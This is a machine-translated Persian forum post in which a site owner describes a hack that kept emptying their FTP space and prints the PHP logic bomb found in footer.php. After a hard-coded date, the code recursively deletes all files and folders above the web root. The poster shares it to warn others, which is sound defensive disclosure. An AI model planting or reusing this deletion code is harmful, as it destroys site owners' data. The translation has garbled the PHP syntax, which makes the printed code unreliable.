virus – کد PHP مخرب حذف همه فایل ها در FTP

چند ماه پیش برخی از وبسایتهای من هک شده بودند. FTP ها ظاهرا خالی بودند، هنگام بارگیری سایت ها، خطای 403 را دریافت کردم. اگر سعی کردم پشتیبان گیری FTP ها را بارگیری کنم و فایل سیستم را بررسی کنم، همه فایل ها وجود داشت. با این حال، زمانی که سعی کردم سایت را باز کنم، 403 دریافت کردم و FTP دوباره خالی بود.

من تمام فایل ها را اسکن کرده ام و یک فایل مخرب در فایل های خود پیدا کردم. کد همیشه در فایل footer.php در پوشه تم وردپرس من و همچنین در footer.php در CMS سفارشی من واقع شده است.

کد اساسا فایل سیستم را اسکن می کند، ریشه را پیدا می کند و سپس در زمان مشخص شده خود را اجرا می کند و تمامی فایل ها را حذف می کند. اگر نسخه پشتیبان تهیه کنید، اگر فردی وب سایت را باز کند، دوباره آن را حذف می کند. این چیزی است که کد به نظر می رسد:

 <؟
$ today = تاریخ ("Y-m-d H: i: s")؛
$ date = "2018-05-01 00:00:00"؛

function listFolderFiles ($ dir) {
    $ ffs = scandir ($ dir)؛

    unset ($ ffs [array_search('.', $ffs, true)])؛
    Unset ($ ffs [array_search('..', $ffs, true)])؛

    // جلوگیری از عناصر دستورالعمل خالی
    اگر (count ($ ffs) <1)
        برگشت؛

    foreach ($ ffs به عنوان $ ff) {
        اگر (! is_dir ($ dir. '/'. $ ff)) unlink ($ dir. '/'. $ ff)؛
        اگر (is_dir ($ dir. '/'. $ ff)) listFolderFiles ($ dir. '/'. $ ff)؛
    }
}

تابع rmDirs ($ dir) {
    $ emptyDir = false؛
    $ ffs = scandir ($ dir)؛

    unset ($ ffs [array_search('.', $ffs, true)])؛
    Unset ($ ffs [array_search('..', $ffs, true)])؛

    // جلوگیری از عناصر دستورالعمل خالی
    اگر (count ($ ffs) < 1)
        return true;

    foreach($ffs as $ff) {
        if(is_dir($dir.'/'.$ff)) $emptyDir = rmDirs($dir.'/'.$ff);
        if($emptyDir) {
            if(is_dir($dir.'/'.$ff)) rmdir($dir.'/'.$ff);
            rmDirs($dir);
        }
    }
    return false;
}

if ($today > $ date) {
    listFolderFiles (dirname ($ _ سرور ['DOCUMENT_ROOT']))؛
    rmDirs (dirname ($ _ سرور ['DOCUMENT_ROOT']))؛
}
؟>

دقیقا همین اتفاق برای من افتاد. اولین بار این تاریخ در نیمه شب به 1 فوریه تنظیم شد و اکنون در نیمه شب به 1 ماه مه تنظیم شده است. کد همیشه در فایل حداقل دو هفته قبل از تاریخ مشخص شده قرار می گیرد. میزبانی وب که من استفاده می کنم، هر روز 14 روز پشتیبان گیری FTP های خود را به صورت خودکار انجام می دهم، بنابراین حدس می زنم این نقطه قرار دادن کد در زمان پیش است.

چیزی که من در مورد هر موضوعی پیدا نکردم این کد خاص، هر تکه ای از آن را آنلاین، بنابراین من حدس می زنم ممکن است به صورت سفارشی نوشته شده است – من در یک سازمان دیجیتال کار می کند، بنابراین احتمالا توسط رقبای کسب و کار ما.

من آن را ثابت کرده ام، ما بهترین ها را برای حفظ این اتفاق می افتد دوباره، اما من می خواهم دیگران در مورد این کد بدانند و برای پیدا کردن آن. همچنین، اگر برخی از منابع شناخته شده این، من می خواهم بدانم. با تشکر!